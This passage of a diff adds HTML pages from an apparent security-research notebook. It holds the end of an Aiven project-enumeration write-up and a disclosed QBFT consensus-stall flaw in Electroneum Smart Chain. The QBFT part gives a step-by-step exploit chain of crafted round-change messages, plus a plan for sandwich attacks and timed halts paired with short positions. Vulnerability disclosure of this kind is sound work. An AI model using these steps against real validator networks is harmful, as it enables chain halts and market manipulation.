| + | <td>403 (exists)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>internal</code></td> | |
| + | <td>403 (exists)</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <p>Controls: <code>doesnotexist12345xyz</code>, <code>another-fake-project-abc</code> → 404.</p> | |
| + | <h2>Impact</h2> | |
| + | <p>An attacker can enumerate Aiven’s customer base by iterating company names against this endpoint. This reveals which organizations use Aiven for their database infrastructure, commercially sensitive information that enables competitive intelligence gathering and targeted supply chain attacks against confirmed Aiven customers.</p> | |
| + | <h2>Suggested Fix</h2> | |
| + | <p>Return a uniform <code>404 "Project does not exist"</code> for both non-existing projects and projects the requester doesn’t have access to.</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/project-name-enumeration.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,474 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>QBFT HasBadProposal Quorum Inconsistency, Consensus Liveness Violation | Zion Boggan</title> | |
| + | <meta name="description" content="QBFT&#x27;s `HasBadProposal` check is symmetric across the round, one prepared bad proposal halts the round for every validator."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/qbft-hasbadproposal-consensus-stall/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="QBFT HasBadProposal Quorum Inconsistency - Consensus Liveness Violation | Zion Boggan"> | |
| + | <meta property="og:description" content="QBFT&#x27;s `HasBadProposal` check is symmetric across the round, one prepared bad proposal halts the round for every validator."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/qbft-hasbadproposal-consensus-stall/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="QBFT HasBadProposal Quorum Inconsistency - Consensus Liveness Violation | Zion Boggan"> | |
| + | <meta name="twitter:description" content="QBFT&#x27;s `HasBadProposal` check is symmetric across the round, one prepared bad proposal halts the round for every validator."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"QBFT HasBadProposal Quorum Inconsistency - Consensus Liveness Violation","description":"QBFT&#x27;s `HasBadProposal` check is symmetric across the round, one prepared bad proposal halts the round for every validator.","url":"https://zionboggan.com/security-research-notebook/qbft-hasbadproposal-consensus-stall/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Consensus stall</div> | |
| + | <h1>QBFT HasBadProposal Quorum Inconsistency, Consensus Liveness Violation</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Severity: P1 (Criteria B: “shutting down/disrupting block production”)</h2> | |
| + | <hr /> | |
| + | <h2>Summary</h2> | |
| + | <p>A single Byzantine validator can permanently stall block production on the Electroneum | |
| + | Smart Chain by exploiting an inconsistency between how <code>roundChangeSet.Add()</code> and | |
| + | <code>isJustified()</code> handle the <code>HasBadProposal</code> flag. The former accepts a SINGLE message’s | |
| + | flag, while the latter requires a QUORUM. This allows a single malicious validator to | |
| + | poison the proposer’s prepared-block cache, causing every subsequent proposal to fail | |
| + | justification validation, resulting in an indefinite consensus stall.</p> | |
| + | <p>This violates IBFT/QBFT’s fundamental liveness guarantee: the protocol should maintain | |
| + | liveness with up to f = floor((n-1)/3) Byzantine validators.</p> | |
| + | <hr /> | |
| + | <h2>Root Cause</h2> | |
| + | <h3>The Inconsistency</h3> | |
| + | <p><strong>File: <code>consensus/istanbul/core/justification.go</code></strong></p> | |
| + | <p>The <code>isJustified()</code> function (called before broadcasting a PRE-PREPARE) computes | |
| + | <code>hasBadProposal</code> from a QUORUM count:</p> | |
| + | <pre><code class="language-go">// justification.go - lines 37-51 | |
| + | hasBadProposalCount := 0 | |
| + | for _, rcm := range roundChangeMessages { | |
| + | if rcm.HasBadProposal { | |
| + | // ... dedup by source | |
| + | hasBadProposalCount++ | |
| + | } | |
| + | } | |
| + | hasBadProposal := hasBadProposalCount >= uint(quorumSize) // REQUIRES QUORUM | |
| + | </code></pre> | |
| + | <p>But <code>roundChangeSet.Add()</code> (called when each ROUND-CHANGE message arrives) uses the | |
| + | SINGLE message’s <code>HasBadProposal</code> flag:</p> | |
| + | <pre><code class="language-go">// roundchange.go - roundChangeSet.Add() | |
| + | roundChange := msg.(*qbfttypes.RoundChange) | |
| + | if hasMatchingRoundChangeAndPrepares(roundChange, prepareMessages, quorumSize, | |
| + | roundChange.HasBadProposal, // <-- SINGLE MESSAGE'S FLAG, NOT QUORUM | |
| + | rcs.validatorSet) == nil { | |
| + | rcs.highestPreparedRound[round] = preparedRound | |
| + | rcs.highestPreparedBlock[round] = preparedBlock // POISONED | |
| + | rcs.prepareMessages[round] = prepareMessages | |
| + | } | |
| + | </code></pre> | |
| + | <h3>What <code>HasBadProposal=true</code> Bypasses</h3> | |
| + | <p>In <code>hasMatchingRoundChangeAndPrepares()</code> (justification.go, lines 175-182):</p> | |
| + | <pre><code class="language-go">for _, p := range prepareMessages { | |
| + | if p.Digest != roundChange.PreparedDigest && !hasBadProposal { | |
| + | return errors.New("prepared message digest does not match...") | |
| + | } | |
| + | } | |
| + | </code></pre> | |
| + | <p>When <code>hasBadProposal=true</code>, PREPARE messages for block A are accepted as justification | |
| + | for a ROUND-CHANGE claiming block B was prepared. The round check still applies (PREPARE | |
| + | round must match RC’s PreparedRound), but the digest/block mismatch is ignored.</p> | |
| + | <hr /> | |
| + | <h2>Exploit Chain</h2> | |
| + | <h3>Prerequisites</h3> | |
| + | <ul> | |
| + | <li>Attacker controls ONE validator key (within IBFT’s Byzantine tolerance)</li> | |
| + | <li>Normal block production is occurring</li> | |
| + | </ul> | |
| + | <h3>Step-by-Step</h3> | |
| + | <p><strong>Phase 1, Capture PREPARE Messages</strong></p> | |
| + | <ol> | |
| + | <li>Sequence S, Round 0: The proposer proposes block A.</li> | |
| + | <li>Validators reach the PREPARED state, they broadcast PREPARE messages for | |
| + | (sequence=S, round=0, digest=hash(A)).</li> | |
| + | <li>The attacker (a validator) captures these PREPARE messages from the P2P gossip. | |
| + | These messages are signed by legitimate validators and are freely available to any peer.</li> | |
| + | <li>If COMMIT quorum is NOT reached (timeout, network delay, or attacker withholds their | |
| + | COMMIT), a round change begins.</li> | |
| + | </ol> | |
| + | <p><strong>Phase 2, Poison the Round Change Set</strong></p> | |
| + | <ol start="5"> | |
| + | <li>For round 1, the attacker crafts a ROUND-CHANGE message: | |
| + | <code>Round: 1 | |
| + | PreparedRound: 0 (matches the captured PREPAREs) | |
| + | PreparedBlock: block B (ATTACKER'S ARBITRARY BLOCK) | |
| + | PreparedDigest: hash(B) (does NOT match the PREPAREs' digest) | |
| + | HasBadProposal: true (bypasses digest check in Add()) | |
| + | Justification: [captured PREPARE messages for block A, round 0]</code></li> | |
| + | <li> | |
| + | <p>The attacker signs this RC with their validator key and broadcasts it.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>When any validator processes this RC in <code>handleRoundChange()</code>, it calls | |
| + | <code>roundChangeSet.Add()</code>:, <code>preparedRound(0) != nil</code> → enters the block, <code>highestPreparedRound[1] == nil</code> → condition met, <code>hasMatchingRoundChangeAndPrepares(rc, prepares, quorum, true, valSet)</code>:</p> | |
| + | <ul> | |
| + | <li>PREPARE.Round(0) == RC.PreparedRound(0) → PASS</li> | |
| + | <li>PREPARE.Digest(hash(A)) != RC.PreparedDigest(hash(B)) && !true → PASS (bypassed)</li> | |
| + | <li>Quorum of distinct validator signatures → PASS</li> | |
| + | <li><strong>Result: <code>highestPreparedBlock[1] = block B</code> (POISONED)</strong></li> | |
| + | </ul> | |
| + | </li> | |
| + | </ol> | |
| + | <p><strong>Phase 3, Consensus Stall</strong></p> | |
| + | <ol start="8"> | |
| + | <li> | |
| + | <p>Legitimate validators also send their RCs for round 1 (with preparedRound=nil, | |
| + | since they didn’t complete a prepare phase after round 0’s stall, or with | |
| + | preparedRound=0 and the correct block A).</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>If a legitimate RC has preparedRound=0 and correct block A, it would try to set | |
| + | highestPreparedBlock. But:, <code>preparedRound(0).Cmp(highestPreparedRound[1](0)) > 0</code> → FALSE (0 is NOT > 0), The legitimate entry does NOT overwrite the poisoned one.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>When quorum of RCs is reached for round 1, and the proposer for round 1 executes: | |
| + | ```go | |
| + | // roundchange.go, handleRoundChange() | |
| + | _, proposal := c.highestPrepared(currentRound) // Returns block B (poisoned) | |
| + | // HasBadProposal(hash(B)) returns false (block B is unknown) | |
| + | // proposal = block B</p> | |
| + | <p>// isJustified(blockB, rcPayloads, preparesForBlockA, quorum, valSet) | |
| + | // In isJustified: hasBadProposalCount < quorum (only 1 RC has flag) | |
| + | // Digest check: hash(B) != PREPARE.digest(hash(A)) && !false → FAILS | |
| + | // Result: “prepared messages do not match proposal” error | |
| + | ```</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>The proposal is BLOCKED. No block is proposed for round 1. Round times out.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <p><strong>Phase 4, Persistent Stall</strong></p> | |
| + | <ol start="12"> | |
| + | <li> | |
| + | <p><code>startNewRound(2)</code> is called. <code>ClearLowerThan(2)</code> clears rounds 0 and 1. | |
| + | Round 2 starts fresh.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>The attacker re-sends a poisoned RC for round 2:</p> | |
| + | <ul> | |
| + | <li>Same captured PREPAREs from round 0 (they’re still valid)</li> | |
| + | <li>PreparedRound=0, PreparedBlock=C (another arbitrary block), HasBadProposal=true</li> | |
| + | </ul> | |
| + | </li> | |
| + | <li> | |
| + | <p>In <code>roundChangeSet.Add()</code> for round 2:</p> | |
| + | <ul> | |
| + | <li><code>highestPreparedRound[2] == nil</code> → condition met</li> | |
| + | <li>poisoning succeeds again</li> | |
| + | </ul> | |
| + | </li> | |
| + | <li> | |
| + | <p>This repeats indefinitely. The attacker can stall EVERY round at this sequence | |
| + | using the SAME captured PREPARE messages from the original round 0.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p>Since no block is ever committed, the sequence never advances, and the | |
| + | roundChangeSet is never fully reset (only <code>round == 0</code> triggers <code>newRoundChangeSet</code>).</p> | |
| + | </li> | |
| + | </ol> | |
| + | <hr /> | |
| + | <h2>Impact</h2> | |
| + | <ul> | |
| + | <li><strong>Permanent consensus stall</strong>: Block production halts indefinitely at a specific | |
| + | block height. No new blocks, no transaction processing.</li> | |
| + | <li><strong>Single Byzantine validator</strong>: Only one compromised validator key is required, | |
| + | well within IBFT’s designed tolerance of f = floor((n-1)/3).</li> | |
| + | <li><strong>No recovery without intervention</strong>: The stall persists as long as the attacker | |
| + | continues sending poisoned RCs. Network restart or attacker removal is required.</li> | |
| + | <li><strong>MEV extraction</strong>: Attacker controls when chain resumes and who proposes next block.</li> | |
| + | <li><strong>Market manipulation</strong>: Timed chain halts enable external short positions.</li> | |
| + | <li><strong>Maps to P1 Criteria B</strong>: “gaming consensus for monetary advantage”</li> | |
| + | </ul> | |
| + | <h2>MEV Escalation, From DoS to Monetary Gain</h2> | |
| + | <p>The consensus stall is not merely a denial-of-service. The attacker controls WHEN the | |
| + | chain stalls and WHEN it resumes. Combined with deterministic proposer selection, this | |
| + | converts the stall into a consensus-level MEV extraction tool.</p> | |
| + | <h3>Proposer Selection During Round Changes</h3> | |
| + | <p>Proposer selection is deterministic round-robin (<code>validator/default.go:138-148</code>):</p> | |
| + | <pre><code class="language-go">func roundRobinProposer(valSet, proposer, round) { | |
| + | seed = indexOf(lastProposer) + round + 1 | |
| + | pick = seed % N | |
| + | return valSet.GetByIndex(pick) | |
| + | } | |
| + | </code></pre> | |
| + | <p>During a stall, <code>lastProposer</code> is fixed (last committed block’s proposer). The attacker | |
| + | at validator index <code>A</code> becomes proposer at round:</p> | |
| + | <pre><code>K = (A - lastProposerIdx - 1) mod N | |
| + | </code></pre> | |
| + | <p>This is fully predictable before the attack begins.</p> | |
| + | <h3>Full MEV Attack Chain</h3> | |
| + | <ol> | |
| + | <li>Attacker (1 of N validators) captures PREPARE messages from gossip</li> | |
| + | <li>Sends ROUND-CHANGE with HasBadProposal=true + arbitrary preparedBlock + mismatched PREPAREs</li> | |
| + | <li><code>roundChangeSet.Add()</code> accepts due to single-message HasBadProposal bypass (no quorum check)</li> | |
| + | <li><code>highestPreparedBlock</code> is poisoned → <code>isJustified()</code> fails → no block proposed → round timeout</li> | |
| + | <li>Attacker re-poisons each round, stalling consensus indefinitely</li> | |
| + | <li>Attacker monitors mempool during stall, sees all pending transactions accumulating</li> | |
| + | <li>Attacker calculates round K where they become proposer: <code>K = (attackerIdx - lastProposerIdx - 1) % N</code></li> | |
| + | <li>At round K, attacker stops poisoning, clean round, attacker is proposer</li> | |
| + | <li>Attacker’s miner constructs block with chosen transaction ordering, frontrunning, sandwich, censorship</li> | |
| + | <li>Honest validators accept normally, clean round, valid block</li> | |
| + | <li>Repeat from step 2 for next profitable opportunity</li> | |
| + | </ol> | |
| + | <h3>Concrete Scenario</h3> | |
| + | <p><strong>Setup:</strong> 4 validators (A, B, C, D). Attacker controls A (index 0). Last proposer was D (index 3).</p> | |
| + | <ul> | |
| + | <li>Round 0: proposer = (3 + 0 + 1) % 4 = 0 → <strong>Attacker A</strong></li> | |
| + | <li>Round 1: proposer = (3 + 1 + 1) % 4 = 1 → Validator B</li> | |
| + | </ul> | |
| + | <p>If attacker is round 0 proposer: | |
| + | 1. See 100K ETN DEX swap in mempool | |
| + | 2. Build block: [attacker buy] → [victim swap] → [attacker sell] | |
| + | 3. Propose normally (isJustified not checked at round 0) | |
| + | 4. Collect sandwich profit</p> | |
| + | <p>If attacker is NOT round 0 proposer: | |
| + | 1. Let round 0 proceed, withhold COMMIT → round change | |
| + | 2. Poison rounds until attacker’s turn | |
| + | 3. Resume, propose with MEV-optimized block</p> | |
| + | <h3>Economic Impact</h3> | |
| + | <ul> | |
| + | <li>ETN market cap: $17.4M, daily volume: 415K transactions</li> | |
| + | <li>Timed chain halt + external short position = market manipulation profit</li> | |
| + | <li>BFT tolerance reduced from (n-1)/3 to 0, single validator breaks all guarantees</li> | |
| + | <li>Attack costs nothing (no gas, no stake slashing) and is repeatable indefinitely</li> | |
| + | </ul> | |
| + | <h2>Affected Code Paths</h2> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>File</th> | |
| + | <th>Function</th> | |
| + | <th>Line</th> | |
| + | <th>Issue</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td><code>consensus/istanbul/core/roundchange.go</code></td> | |
| + | <td><code>roundChangeSet.Add()</code></td> | |
| + | <td>~249</td> | |
| + | <td>Uses single message’s HasBadProposal</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>consensus/istanbul/core/justification.go</code></td> | |
| + | <td><code>isJustified()</code></td> | |
| + | <td>~37-51</td> | |
| + | <td>Requires quorum of HasBadProposal</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>consensus/istanbul/core/justification.go</code></td> | |
| + | <td><code>hasMatchingRoundChangeAndPrepares()</code></td> | |
| + | <td>~175</td> | |
| + | <td>Digest bypass with hasBadProposal=true</td> | |
| + | </tr> | |
